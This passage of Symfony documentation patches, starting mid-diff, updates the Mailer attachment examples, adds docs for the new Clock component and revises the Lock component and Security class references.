-        ->addPart(new DataPart(new BodyFile('/path/to/documents/contract.doc', 'Contract', 'application/msword')))
+        ->addPart(new DataPart(new File('/path/to/documents/contract.doc'), 'Contract', 'application/msword'))
     ;
 
 Alternatively you can attach contents from a stream by passing it directly to the ``DataPart`` ::
@@ -486,7 +490,7 @@ file or stream::
         // get the image contents from a PHP resource
         ->addPart((new DataPart(fopen('/path/to/images/logo.png', 'r'), 'logo', 'image/png'))->asInline())
         // get the image contents from an existing file
-        ->addPart((new DataPart(new BodyFile('/path/to/images/signature.gif', 'footer-signature', 'image/gif')))->asInline())
+        ->addPart((new DataPart(new File('/path/to/images/signature.gif'), 'footer-signature', 'image/gif'))->asInline())
     ;
 
 Use the ``asInline()`` method to embed the content instead of attaching it.
@@ -498,7 +502,7 @@ images inside the HTML contents::
     $email = (new Email())
         // ...
         ->addPart((new DataPart(fopen('/path/to/images/logo.png', 'r'), 'logo', 'image/png'))->asInline())
-        ->addPart((new DataPart(new BodyFile('/path/to/images/signature.gif', 'footer-signature', 'image/gif')))->asInline())
+        ->addPart((new DataPart(new File('/path/to/images/signature.gif'), 'footer-signature', 'image/gif'))->asInline())
 
         // reference images using the syntax 'cid:' + "image embed name"
         ->html('<img src="cid:logo"> ... <img src="cid:footer-signature"> ...')

From 24e39949f5cc45c541bbcbdd9252273d02c7368a Mon Sep 17 00:00:00 2001
From: Denis Brumann <denis.brumann@qossmic.com>
Date: Wed, 16 Nov 2022 18:51:01 +0100
Subject: [PATCH 2536/5766] [Clock] Documentation for new Clock component

---
 components/clock.rst | 105 +++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 105 insertions(+)
 create mode 100644 components/clock.rst

diff --git a/components/clock.rst b/components/clock.rst
new file mode 100644
index 00000000000..c76b3ede077
--- /dev/null
+++ b/components/clock.rst
@@ -0,0 +1,105 @@
+.. index::
+   single: Clock
+   single: Components; Clock
+
+The Clock Component
+===================
+
+.. versionadded:: 6.2
+
+    The Clock component was introduced in Symfony 6.2
+
+The Clock component decouples applications from the system clock. This allows
+you to fix time to improve testability of time-sensitive logic.
+
+The component provides a ``ClockInterface`` with the following implementations
+for different use cases:
+
+:class:`Symfony\\Component\\Clock\\NativeClock`
+    Provides a way to interact with the system clock, this is the same as doing
+    ``new \DateTimeImmutable()``.
+:class:`Symfony\\Component\\Clock\\MockClock`
+    Commonly used in tests as a replacement for the ``NativeClock`` to be able
+    to freeze and change the current time using either ``sleep()`` or ``modify()``.
+:class:`Symfony\\Component\\Clock\\MonotonicClock``
+    Relies on ``hrtime()`` and provides a high resolution, monotonic clock,
+    when you need a precise stopwatch.
+
+Installation
+------------
+
+.. code-block:: terminal
+
+    $ composer require symfony/clock
+
+.. include:: /components/require_autoload.rst.inc
+
+NativeClock
+-----------
+
+A clock service replaces creating a new ``DateTime`` or
+``DateTimeImmutable`` object for the current time. Instead, you inject the
+``ClockInterface`` and call ``now()``. By default, your application will likely
+use a ``NativeClock``, which always returns the current system time. In tests it is replaced with a ``MockClock``.
+
+The following example introduces a service utilizing the Clock component to
+determine the current time::
+
+    use Symfony\Component\Clock\ClockInterface;
+
+    class ExpirationChecker
+    {
+        public function __construct(
+            private readonly ClockInterface $clock
+        ) {}
+
+        public function isExpired(DateTimeInterface $validUntil): bool
+        {
+            return $this->clock->now() > $validUntil;
+        }
+    }
+
+MockClock
+---------
+
+The ``MockClock`` is instantiated with a time and does not move forward on its own. The time is
+fixed until ``sleep()`` or ``modify()`` are called. This gives you full control over what your code
+assumes is the current time.
+
+When writing a test for this service, you can check both cases where something
+is expired or not, by modifying the clock's time::
+
+    use PHPUnit\Framework\TestCase;
+    use Symfony\Component\Clock\MockClock;
+
+    class ExpirationCheckerTest extends TestCase
+    {
+        public function testIsExpired(): void
+        {
+            $clock = new MockClock('2022-11-16 15:20:00');
+            $expirationChecker = new ExpirationChecker($clock);
+            $validUntil = new DateTimeImmutable('2022-11-16 15:25:00');
+
+            // $validUntil is in the future, so it is not expired
+            static::assertFalse($expirationChecker->isExpired($validUntil));
+
+            // Clock sleeps for 10 minutes, so now is '2022-11-16 15:30:00'
+            $clock->sleep(600); // Instantly changes time as if we waited for 10 minutes (600secs)
+
+            // modify the clock, accepts all formats supported by DateTimeImmutable::modify()
+            static::assertTrue($expirationChecker->isExpired($validUntil));
+
+            $clock->modify('2022-11-16 15:00:00');
+
+            // $validUntil is in the future again, so it is no longer expired
+            static::assertFalse($expirationChecker->isExpired($validUntil));
+        }
+    }
+
+Monotonic Clock
+---------------
+
+The ``MonotonicClock`` allows you to implement a precise stopwatch, depending on the system up to
+nanosecond precision. It can be used to measure the elapsed time between 2 calls without being
+affected by inconsistencies sometimes introduced by the system clock, e.g. by updating it. Instead,
+it consistently increases time, making it especially useful for measuring performance.

From c1f8db7b83ede60dcfbb8091697fd416f6f3c98b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 24 Nov 2022 13:31:45 +0100
Subject: [PATCH 2537/5766] [Form] Mention PropertyAccess in the
 hash_property_option of PasswordType

---
 reference/forms/types/password.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index 6d87ae57af7..9f6010675f0 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -46,7 +46,7 @@ entered into the box, set this to false and submit the form.
 
 If set, the password will be hashed using the
 :doc:`PasswordHasher component </security/passwords>` and stored in the
-specified property.
+property defined by the given :doc:`PropertyAccess expression </components/property_access>`.
 
 Data passed to the form must be a
 :class:`Symfony\\Component\\Security\\Core\\User\\PasswordAuthenticatedUserInterface`

From c59d4668af16a218956144dc4f4275f0d1abe0e4 Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Thu, 24 Nov 2022 08:50:51 -0500
Subject: [PATCH 2538/5766] add missing use for Template attribute

---
 templates.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/templates.rst b/templates.rst
index 3ee4fd7dc4a..b527e18b57b 100644
--- a/templates.rst
+++ b/templates.rst
@@ -463,6 +463,7 @@ to define the template to render::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Bridge\Twig\Attribute\Template;
 
     class ProductController extends AbstractController
     {

From 82b431af41aeaa6799f71c6f3c0de307247e8f81 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 24 Nov 2022 20:30:53 +0100
Subject: [PATCH 2539/5766] Minor tweaks

---
 components/clock.rst | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/components/clock.rst b/components/clock.rst
index c76b3ede077..1cd9757d69d 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -84,7 +84,7 @@ is expired or not, by modifying the clock's time::
             static::assertFalse($expirationChecker->isExpired($validUntil));
 
             // Clock sleeps for 10 minutes, so now is '2022-11-16 15:30:00'
-            $clock->sleep(600); // Instantly changes time as if we waited for 10 minutes (600secs)
+            $clock->sleep(600); // Instantly changes time as if we waited for 10 minutes (600 seconds)
 
             // modify the clock, accepts all formats supported by DateTimeImmutable::modify()
             static::assertTrue($expirationChecker->isExpired($validUntil));
@@ -99,7 +99,8 @@ is expired or not, by modifying the clock's time::
 Monotonic Clock
 ---------------
 
-The ``MonotonicClock`` allows you to implement a precise stopwatch, depending on the system up to
-nanosecond precision. It can be used to measure the elapsed time between 2 calls without being
-affected by inconsistencies sometimes introduced by the system clock, e.g. by updating it. Instead,
-it consistently increases time, making it especially useful for measuring performance.
+The ``MonotonicClock`` allows you to implement a precise stopwatch; depending on
+the system up to nanosecond precision. It can be used to measure the elapsed
+time between two calls without being affected by inconsistencies sometimes introduced
+by the system clock, e.g. by updating it. Instead, it consistently increases time,
+making it especially useful for measuring performance.

From a26b165930a6c52098db781040ec97be0635ab98 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Fri, 25 Nov 2022 09:44:58 +0100
Subject: [PATCH 2540/5766] [Security] use new class

---
 security.rst      | 6 +++---
 setup/bundles.rst | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/security.rst b/security.rst
index d42d7ef0fbc..84d4546821b 100644
--- a/security.rst
+++ b/security.rst
@@ -1613,7 +1613,7 @@ Login Programmatically
 
     The :class:`Symfony\Bundle\SecurityBundle\Security <Symfony\\Bundle\\SecurityBundle\\Security>`
     class was introduced in Symfony 6.2. Prior to 6.2, it was called
-    ``Symfony\Component\Security\Core\Security``.
+    ``Symfony\Bundle\SecurityBundle\Security``.
 
 .. versionadded:: 6.2
 
@@ -1783,7 +1783,7 @@ Logout programmatically
 
     The :class:`Symfony\Bundle\SecurityBundle\Security <Symfony\\Bundle\\SecurityBundle\\Security>`
     class was introduced in Symfony 6.2. Prior to 6.2, it was called
-    ``Symfony\Component\Security\Core\Security``.
+    ``Symfony\Bundle\SecurityBundle\Security``.
 
 .. versionadded:: 6.2
 
@@ -1929,7 +1929,7 @@ If you need to get the logged in user from a service, use the
 
     The :class:`Symfony\\Bundle\\SecurityBundle\\Security` class
     was introduced in Symfony 6.2. In previous Symfony versions this class was
-    defined in ``Symfony\Component\Security\Core\Security``.
+    defined in ``Symfony\Bundle\SecurityBundle\Security``.
 
 Fetch the User in a Template
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/setup/bundles.rst b/setup/bundles.rst
index fe4f59cb819..bf8c205e0b7 100644
--- a/setup/bundles.rst
+++ b/setup/bundles.rst
@@ -81,7 +81,7 @@ PHPUnit test report:
 
     Twig Function "form_enctype" is deprecated. Use "form_start" instead in ...
 
-    The Symfony\Component\Security\Core\SecurityContext class is deprecated since
+    The Symfony\Bundle\SecurityBundle\SecurityContext class is deprecated since
     version 2.6 and will be removed in 3.0. Use ...
 
 Fix the reported deprecations, run the test suite again and repeat the process

From 72c3c318b27107ccdfcd54c63e856fbed9e247dc Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Fri, 25 Nov 2022 13:25:07 +0100
Subject: [PATCH 2541/5766] Fix UX package list Dropzone display

---
 frontend/_ux-libraries.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/_ux-libraries.rst.inc b/frontend/_ux-libraries.rst.inc
index 8ca7eb5ca3b..a40a51109f5 100644
--- a/frontend/_ux-libraries.rst.inc
+++ b/frontend/_ux-libraries.rst.inc
@@ -4,7 +4,7 @@
 * `ux-chartjs`_: Easy charts with `Chart.js`_ (`see demo <https://ux.symfony.com/chartjs>`_)
 * `ux-cropperjs`_: Form Type and tools for cropping images (`see demo <https://ux.symfony.com/cropperjs>`_)
 * `ux-dropzone`_: Form Type for stylized "drop zone" for file uploads
-   (`see demo <https://ux.symfony.com/dropzone>`_)
+  (`see demo <https://ux.symfony.com/dropzone>`_)
 * `ux-lazy-image`_: Optimize Image Loading with BlurHash
   (`see demo <https://ux.symfony.com/lazy-image>`_)
 * `ux-live-component`_: Build Dynamic Interfaces with Zero JavaScript

From bf6c6ae2c73cbd89e241e46016485829ad31ad7f Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sat, 5 Nov 2022 10:45:40 +0100
Subject: [PATCH 2542/5766] Make various changes/updates on the Lock docs

---
 components/lock.rst | 172 ++++++++++++++++++++++++--------------------
 lock.rst            |  52 +++++++++-----
 2 files changed, 127 insertions(+), 97 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index abbed7fc8b8..c1ceabd4438 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -42,10 +42,10 @@ resource. Then, a call to the :method:`Symfony\\Component\\Lock\\LockInterface::
 method will try to acquire the lock::
 
     // ...
-    $lock = $factory->createLock('pdf-invoice-generation');
+    $lock = $factory->createLock('pdf-creation');
 
     if ($lock->acquire()) {
-        // The resource "pdf-invoice-generation" is locked.
+        // The resource "pdf-creation" is locked.
         // You can compute and generate the invoice safely here.
 
         $lock->release();
@@ -81,20 +81,27 @@ continue the job in another process using the same lock::
     use Symfony\Component\Lock\Lock;
 
     $key = new Key('article.'.$article->getId());
-    $lock = new Lock($key, $this->store, 300, false);
+    $lock = new Lock(
+        $key,
+        $this->store,
+        300,  // ttl
+        false // autoRelease
+    );
     $lock->acquire(true);
 
     $this->bus->dispatch(new RefreshTaxonomy($article, $key));
 
 .. note::
 
-    Don't forget to disable the autoRelease to avoid releasing the lock when
-    the destructor is called.
+    Don't forget to set the ``autoRelease`` argument to ``false`` in the
+    ``Lock`` constructor to avoid releasing the lock when the destructor is
+    called.
 
-Not all stores are compatible with serialization and cross-process locking:
-for example, the kernel will automatically release semaphores acquired by the
+Not all stores are compatible with serialization and cross-process locking: for
+example, the kernel will automatically release semaphores acquired by the
 :ref:`SemaphoreStore <lock-store-semaphore>` store. If you use an incompatible
-store, an exception will be thrown when the application tries to serialize the key.
+store (see :ref:`lock stores <lock-stores>` for supported stores), an
+exception will be thrown when the application tries to serialize the key.
 
 .. _lock-blocking-locks:
 
@@ -102,44 +109,40 @@ Blocking Locks
 --------------
 
 By default, when a lock cannot be acquired, the ``acquire`` method returns
-``false`` immediately. To wait (indefinitely) until the lock
-can be created, pass ``true`` as the argument of the ``acquire()`` method. This
-is called a **blocking lock** because the execution of your application stops
-until the lock is acquired.
-
-Some of the built-in ``Store`` classes support this feature. When they don't,
-they can be decorated with the ``RetryTillSaveStore`` class::
+``false`` immediately. To wait (indefinitely) until the lock can be created,
+pass ``true`` as the argument of the ``acquire()`` method. This is called a
+**blocking lock** because the execution of your application stops until the
+lock is acquired::
 
     use Symfony\Component\Lock\LockFactory;
     use Symfony\Component\Lock\Store\RedisStore;
-    use Symfony\Component\Lock\Store\RetryTillSaveStore;
 
     $store = new RedisStore(new \Predis\Client('tcp://localhost:6379'));
-    $store = new RetryTillSaveStore($store);
     $factory = new LockFactory($store);
 
-    $lock = $factory->createLock('notification-flush');
+    $lock = $factory->createLock('pdf-creation');
     $lock->acquire(true);
 
-When the provided store does not implement the
-:class:`Symfony\\Component\\Lock\\BlockingStoreInterface` interface, the
-``Lock`` class will retry to acquire the lock in a non-blocking way until the
-lock is acquired.
+When the store does not support blocking locks by implementing the
+:class:`Symfony\\Component\\Lock\\BlockingStoreInterface` interface (see
+:ref:`lock stores <lock-stores>` for supported stores), the ``Lock`` class
+will retry to acquire the lock in a non-blocking way until the lock is
+acquired.
 
-.. deprecated:: 5.2
+.. versionadded:: 5.2
 
-    As of Symfony 5.2, you don't need to use the ``RetryTillSaveStore`` class
-    anymore. The ``Lock`` class now provides the default logic to acquire locks
-    in blocking mode when the store does not implement the
-    ``BlockingStoreInterface`` interface.
+    Default logic to retry acquiring a non-blocking lock was introduced in
+    Symfony 5.2. Prior to 5.2, you needed to wrap a store without support
+    for blocking locks in :class:`Symfony\\Component\\Lock\\Store\\RetryTillSaveStore`.
 
 Expiring Locks
 --------------
 
 Locks created remotely are difficult to manage because there is no way for the
 remote ``Store`` to know if the locker process is still alive. Due to bugs,
-fatal errors or segmentation faults, it cannot be guaranteed that ``release()``
-method will be called, which would cause the resource to be locked infinitely.
+fatal errors or segmentation faults, it cannot be guaranteed that the
+``release()`` method will be called, which would cause the resource to be
+locked infinitely.
 
 The best solution in those cases is to create **expiring locks**, which are
 released automatically after some amount of time has passed (called TTL for
@@ -154,7 +157,7 @@ method, the resource will stay locked until the timeout::
 
     // ...
     // create an expiring lock that lasts 30 seconds (default is 300.0)
-    $lock = $factory->createLock('charts-generation', 30);
+    $lock = $factory->createLock('pdf-creation', ttl: 30);
 
     if (!$lock->acquire()) {
         return;
@@ -175,7 +178,7 @@ then use the :method:`Symfony\\Component\\Lock\\LockInterface::refresh` method
 to reset the TTL to its original value::
 
     // ...
-    $lock = $factory->createLock('charts-generation', 30);
+    $lock = $factory->createLock('pdf-creation', ttl: 30);
 
     if (!$lock->acquire()) {
         return;
@@ -196,7 +199,7 @@ to reset the TTL to its original value::
     Another useful technique for long-running tasks is to pass a custom TTL as
     an argument of the ``refresh()`` method to change the default lock TTL::
 
-        $lock = $factory->createLock('charts-generation', 30);
+        $lock = $factory->createLock('pdf-creation', ttl: 30);
         // ...
         // refresh the lock for 30 seconds
         $lock->refresh();
@@ -212,12 +215,12 @@ Automatically Releasing The Lock
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Locks are automatically released when their Lock objects are destroyed. This is
-an implementation detail that will be important when sharing Locks between
+an implementation detail that is important when sharing Locks between
 processes. In the example below, ``pcntl_fork()`` creates two processes and the
 Lock will be released automatically as soon as one process finishes::
 
     // ...
-    $lock = $factory->createLock('report-generation', 3600);
+    $lock = $factory->createLock('pdf-creation');
     if (!$lock->acquire()) {
         return;
     }
@@ -236,9 +239,15 @@ Lock will be released automatically as soon as one process finishes::
     }
     // ...
 
-To disable this behavior, set to ``false`` the third argument of
-``LockFactory::createLock()``. That will make the lock acquired for 3600 seconds
-or until ``Lock::release()`` is called.
+To disable this behavior, set the ``autoRelease`` argument of
+``LockFactory::createLock()`` to ``false``. That will make the lock acquired
+for 3600 seconds or until ``Lock::release()`` is called::
+
+    $lock = $factory->createLock(
+        'pdf-creation',
+        3600, // ttl
+        false // autoRelease
+    );
 
 Shared Locks
 ------------
@@ -248,19 +257,19 @@ Shared Locks
     Shared locks (and the associated ``acquireRead()`` method and
     ``SharedLockStoreInterface``) were introduced in Symfony 5.2.
 
-A shared or `readers–writer lock`_ is a synchronization primitive that allows
+A shared or `readers-writer lock`_ is a synchronization primitive that allows
 concurrent access for read-only operations, while write operations require
 exclusive access. This means that multiple threads can read the data in parallel
 but an exclusive lock is needed for writing or modifying data. They are used for
 example for data structures that cannot be updated atomically and are invalid
 until the update is complete.
 
-Use the :method:`Symfony\\Component\\Lock\\SharedLockInterface::acquireRead` method
-to acquire a read-only lock, and the existing
+Use the :method:`Symfony\\Component\\Lock\\SharedLockInterface::acquireRead`
+method to acquire a read-only lock, and
 :method:`Symfony\\Component\\Lock\\LockInterface::acquire` method to acquire a
 write lock::
 
-    $lock = $factory->createLock('user'.$user->id);
+    $lock = $factory->createLock('user-'.$user->id);
     if (!$lock->acquireRead()) {
         return;
     }
@@ -268,7 +277,7 @@ write lock::
 Similar to the ``acquire()`` method, pass ``true`` as the argument of ``acquireRead()``
 to acquire the lock in a blocking mode::
 
-    $lock = $factory->createLock('user'.$user->id);
+    $lock = $factory->createLock('user-'.$user->id);
     $lock->acquireRead(true);
 
 .. note::
@@ -276,26 +285,27 @@ to acquire the lock in a blocking mode::
     The `priority policy`_ of Symfony's shared locks depends on the underlying
     store (e.g. Redis store prioritizes readers vs writers).
 
-When a read-only lock is acquired with the method ``acquireRead()``, it's
-possible to **promote** the lock, and change it to write lock, by calling the
+When a read-only lock is acquired with the ``acquireRead()`` method, it's
+possible to **promote** the lock, and change it to a write lock, by calling the
 ``acquire()`` method::
 
-    $lock = $factory->createLock('user'.$userId);
+    $lock = $factory->createLock('user-'.$userId);
     $lock->acquireRead(true);
 
     if (!$this->shouldUpdate($userId)) {
         return;
     }
 
-    $lock->acquire(true); // Promote the lock to write lock
+    $lock->acquire(true); // Promote the lock to a write lock
     $this->update($userId);
 
 In the same way, it's possible to **demote** a write lock, and change it to a
 read-only lock by calling the ``acquireRead()`` method.
 
 When the provided store does not implement the
-:class:`Symfony\\Component\\Lock\\SharedLockStoreInterface` interface, the
-``Lock`` class will fallback to a write lock by calling the ``acquire()`` method.
+:class:`Symfony\\Component\\Lock\\SharedLockStoreInterface` interface (see
+:ref:`lock stores <lock-stores>` for supported stores), the ``Lock`` class
+will fallback to a write lock by calling the ``acquire()`` method.
 
 The Owner of The Lock
 ---------------------
@@ -308,8 +318,8 @@ a lock, you can use the ``isAcquired()`` method::
         // We (still) own the lock
     }
 
-Because of the fact that some lock stores have expiring locks (as seen and explained
-above), it is possible for an instance to lose the lock it acquired automatically::
+Because some lock stores have expiring locks, it is possible for an instance to
+lose the lock it acquired automatically::
 
     // If we cannot acquire ourselves, it means some other process is already working on it
     if (!$lock->acquire()) {
@@ -335,13 +345,15 @@ above), it is possible for an instance to lose the lock it acquired automaticall
     A common pitfall might be to use the ``isAcquired()`` method to check if
     a lock has already been acquired by any process. As you can see in this example
     you have to use ``acquire()`` for this. The ``isAcquired()`` method is used to check
-    if the lock has been acquired by the **current process** only!
+    if the lock has been acquired by the **current process** only.
 
 .. [1] Technically, the true owners of the lock are the ones that share the same instance of ``Key``,
     not ``Lock``. But from a user perspective, ``Key`` is internal and you will likely only be working
     with the ``Lock`` instance so it's easier to think of the ``Lock`` instance as being the one that
     is the owner of the lock.
 
+.. _lock-stores:
+
 Available Stores
 ----------------
 
@@ -391,7 +403,7 @@ when the PHP process ends)::
 
     Beware that some file systems (such as some types of NFS) do not support
     locking. In those cases, it's better to use a directory on a local disk
-    drive or a remote store based on PDO, Redis or Memcached.
+    drive or a remote store.
 
 .. _lock-store-memcached:
 
@@ -448,7 +460,7 @@ Option         Description
 gcProbablity   Should a TTL Index be created expressed as a probability from 0.0 to 1.0 (Defaults to ``0.001``)
 database       The name of the database
 collection     The name of the collection
-uriOptions     Array of uri options for `MongoDBClient::__construct`_
+uriOptions     Array of URI options for `MongoDBClient::__construct`_
 driverOptions  Array of driver options for `MongoDBClient::__construct`_
 =============  ================================================================================================
 
@@ -548,7 +560,7 @@ locks::
     use Symfony\Component\Lock\Store\PostgreSqlStore;
 
     // a PDO instance or DSN for lazy connecting through PDO
-    $databaseConnectionOrDSN = 'pgsql:host=localhost;port=5634;dbname=lock';
+    $databaseConnectionOrDSN = 'pgsql:host=localhost;port=5634;dbname=app';
     $store = new PostgreSqlStore($databaseConnectionOrDSN, ['db_username' => 'myuser', 'db_password' => 'mypassword']);
 
 In opposite to the ``PdoStore``, the ``PostgreSqlStore`` does not need a table to
@@ -620,10 +632,10 @@ CombinedStore
 ~~~~~~~~~~~~~
 
 The CombinedStore is designed for High Availability applications because it
-manages several stores in sync (for example, several Redis servers). When a lock
-is being acquired, it forwards the call to all the managed stores, and it
-collects their responses. If a simple majority of stores have acquired the lock,
-then the lock is considered as acquired; otherwise as not acquired::
+manages several stores in sync (for example, several Redis servers). When a
+lock is acquired, it forwards the call to all the managed stores, and it
+collects their responses. If a simple majority of stores have acquired the
+lock, then the lock is considered acquired::
 
     use Symfony\Component\Lock\Store\CombinedStore;
     use Symfony\Component\Lock\Store\RedisStore;
@@ -641,14 +653,19 @@ then the lock is considered as acquired; otherwise as not acquired::
 
 Instead of the simple majority strategy (``ConsensusStrategy``) an
 ``UnanimousStrategy`` can be used to require the lock to be acquired in all
-the stores.
+the stores::
+
+    use Symfony\Component\Lock\Store\CombinedStore;
+    use Symfony\Component\Lock\Strategy\UnanimousStrategy;
+
+    $store = new CombinedStore($stores, new UnanimousStrategy());
 
 .. caution::
 
     In order to get high availability when using the ``ConsensusStrategy``, the
     minimum cluster size must be three servers. This allows the cluster to keep
     working when a single server fails (because this strategy requires that the
-    lock is acquired in more than half of the servers).
+    lock is acquired for more than half of the servers).
 
 .. _lock-store-zookeeper:
 
@@ -692,7 +709,7 @@ the true owner of the lock. This token is stored in the
 :class:`Symfony\\Component\\Lock\\Key` object and is used internally by
 the ``Lock``.
 
-Every concurrent process must store the ``Lock`` in the same server. Otherwise two
+Every concurrent process must store the ``Lock`` on the same server. Otherwise two
 different machines may allow two different processes to acquire the same ``Lock``.
 
 .. caution::
@@ -716,10 +733,10 @@ The ``Lock`` provides several methods to check its health. The ``isExpired()``
 method checks whether or not its lifetime is over and the ``getRemainingLifetime()``
 method returns its time to live in seconds.
 
-Using the above methods, a more robust code would be::
+Using the above methods, a robust code would be::
 
     // ...
-    $lock = $factory->createLock('invoice-publication', 30);
+    $lock = $factory->createLock('pdf-creation', 30);
 
     if (!$lock->acquire()) {
         return;
@@ -748,7 +765,7 @@ Using the above methods, a more robust code would be::
     may increase that time a lot (up to a few seconds). Take that into account
     when choosing the right TTL.
 
-By design, locks are stored in servers with a defined lifetime. If the date or
+By design, locks are stored on servers with a defined lifetime. If the date or
 time of the machine changes, a lock could be released sooner than expected.
 
 .. caution::
@@ -778,15 +795,14 @@ Some file systems (such as some types of NFS) do not support locking.
     All concurrent processes must use the same physical file system by running
     on the same machine and using the same absolute path to the lock directory.
 
-    By definition, usage of ``FlockStore`` in an HTTP context is incompatible
-    with multiple front servers, unless to ensure that the same resource will
-    always be locked on the same machine or to use a well configured shared file
-    system.
+    Using a ``FlockStore`` in an HTTP context is incompatible with multiple
+    front servers, unless to ensure that the same resource will always be
+    locked on the same machine or to use a well configured shared file system.
 
-Files on the file system can be removed during a maintenance operation. For instance,
-to clean up the ``/tmp`` directory or after a reboot of the machine when a directory
-uses tmpfs. It's not an issue if the lock is released when the process ended, but
-it is in case of ``Lock`` reused between requests.
+Files on the file system can be removed during a maintenance operation. For
+instance, to clean up the ``/tmp`` directory or after a reboot of the machine
+when a directory uses ``tmpfs``. It's not an issue if the lock is released when
+the process ended, but it is in case of ``Lock`` reused between requests.
 
 .. caution::
 
@@ -832,8 +848,8 @@ MongoDbStore
 .. caution::
 
     The locked resource name is indexed in the ``_id`` field of the lock
-    collection. Beware that in MongoDB an indexed field's value can be
-    `a maximum of 1024 bytes in length`_ inclusive of structural overhead.
+    collection. Beware that an indexed field's value in MongoDB can be
+    `a maximum of 1024 bytes in length`_ including the structural overhead.
 
 A TTL index must be used to automatically clean up expired locks.
 Such an index can be created manually:
@@ -851,8 +867,8 @@ about `Expire Data from Collections by Setting TTL`_ in MongoDB.
 
 .. tip::
 
-    ``MongoDbStore`` will attempt to automatically create a TTL index.
-    It's recommended to set constructor option ``gcProbablity = 0.0`` to
+    ``MongoDbStore`` will attempt to automatically create a TTL index. It's
+    recommended to set constructor option ``gcProbablity`` to ``0.0`` to
     disable this behavior if you have manually dealt with TTL index creation.
 
 .. caution::
@@ -868,7 +884,7 @@ the collection's settings will take effect.
 Read more about `Replica Set Read and Write Semantics`_ in MongoDB.
 
 PdoStore
-~~~~~~~~~~
+~~~~~~~~
 
 The PdoStore relies on the `ACID`_ properties of the SQL engine.
 
@@ -1022,5 +1038,5 @@ are still running.
 .. _`PHP semaphore functions`: https://www.php.net/manual/en/book.sem.php
 .. _`Replica Set Read and Write Semantics`: https://docs.mongodb.com/manual/applications/replication/
 .. _`ZooKeeper`: https://zookeeper.apache.org/
-.. _`readers–writer lock`: https://en.wikipedia.org/wiki/Readers%E2%80%93writer_lock
+.. _`readers-writer lock`: https://en.wikipedia.org/wiki/Readers%E2%80%93writer_lock
 .. _`priority policy`: https://en.wikipedia.org/wiki/Readers%E2%80%93writer_lock#Priority_policies
diff --git a/lock.rst b/lock.rst
index 5d864fb0089..739c79fcce3 100644
--- a/lock.rst
+++ b/lock.rst
@@ -12,7 +12,7 @@ time to prevent race conditions from happening.
 
 The following example shows a typical usage of the lock::
 
-    $lock = $lockFactory->createLock('pdf-invoice-generation');
+    $lock = $lockFactory->createLock('pdf-creation');
     if (!$lock->acquire()) {
         return;
     }
@@ -22,8 +22,8 @@ The following example shows a typical usage of the lock::
 
     $lock->release();
 
-Installation
-------------
+Installing
+----------
 
 In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to
 install the Lock component:
@@ -32,8 +32,8 @@ install the Lock component:
 
     $ composer require symfony/lock
 
-Configuring Lock with FrameworkBundle
--------------------------------------
+Configuring
+-----------
 
 By default, Symfony provides a :ref:`Semaphore <lock-store-semaphore>`
 when available, or a :ref:`Flock <lock-store-flock>` otherwise. You can configure
@@ -58,7 +58,7 @@ this behavior by using the ``lock`` key like:
             lock: 'sqlite:///%kernel.project_dir%/var/lock.db'
             lock: 'mysql:host=127.0.0.1;dbname=app'
             lock: 'pgsql:host=127.0.0.1;dbname=app'
-            lock: 'pgsql+advisory:host=127.0.0.1;dbname=lock'
+            lock: 'pgsql+advisory:host=127.0.0.1;dbname=app'
             lock: 'sqlsrv:server=127.0.0.1;Database=app'
             lock: 'oci:host=127.0.0.1;dbname=app'
             lock: 'mongodb://127.0.0.1/app?collection=lock'
@@ -108,7 +108,7 @@ this behavior by using the ``lock`` key like:
 
                     <framework:resource>pgsql:host=127.0.0.1;dbname=app</framework:resource>
 
-                    <framework:resource>pgsql+advisory:host=127.0.0.1;dbname=lock</framework:resource>
+                    <framework:resource>pgsql+advisory:host=127.0.0.1;dbname=app</framework:resource>
 
                     <framework:resource>sqlsrv:server=127.0.0.1;Database=app</framework:resource>
 
@@ -145,7 +145,7 @@ this behavior by using the ``lock`` key like:
                 ->resource('default', ['sqlite:///%kernel.project_dir%/var/lock.db'])
                 ->resource('default', ['mysql:host=127.0.0.1;dbname=app'])
                 ->resource('default', ['pgsql:host=127.0.0.1;dbname=app'])
-                ->resource('default', ['pgsql+advisory:host=127.0.0.1;dbname=lock'])
+                ->resource('default', ['pgsql+advisory:host=127.0.0.1;dbname=app'])
                 ->resource('default', ['sqlsrv:server=127.0.0.1;Database=app'])
                 ->resource('default', ['oci:host=127.0.0.1;dbname=app'])
                 ->resource('default', ['mongodb://127.0.0.1/app?collection=lock'])
@@ -161,7 +161,7 @@ Locking a Resource
 ------------------
 
 To lock the default resource, autowire the lock factory using
-:class:`Symfony\\Component\\Lock\\LockFactory` (service id ``lock.factory``)::
+:class:`Symfony\\Component\\Lock\\LockFactory`::
 
     // src/Controller/PdfController.php
     namespace App\Controller;
@@ -200,8 +200,8 @@ Locking a Dynamic Resource
 
 Sometimes the application is able to cut the resource into small pieces in order
 to lock a small subset of processes and let others through. The previous example
-showed how to lock the ``$pdf->getOrCreatePdf('terms-of-use')`` for everybody,
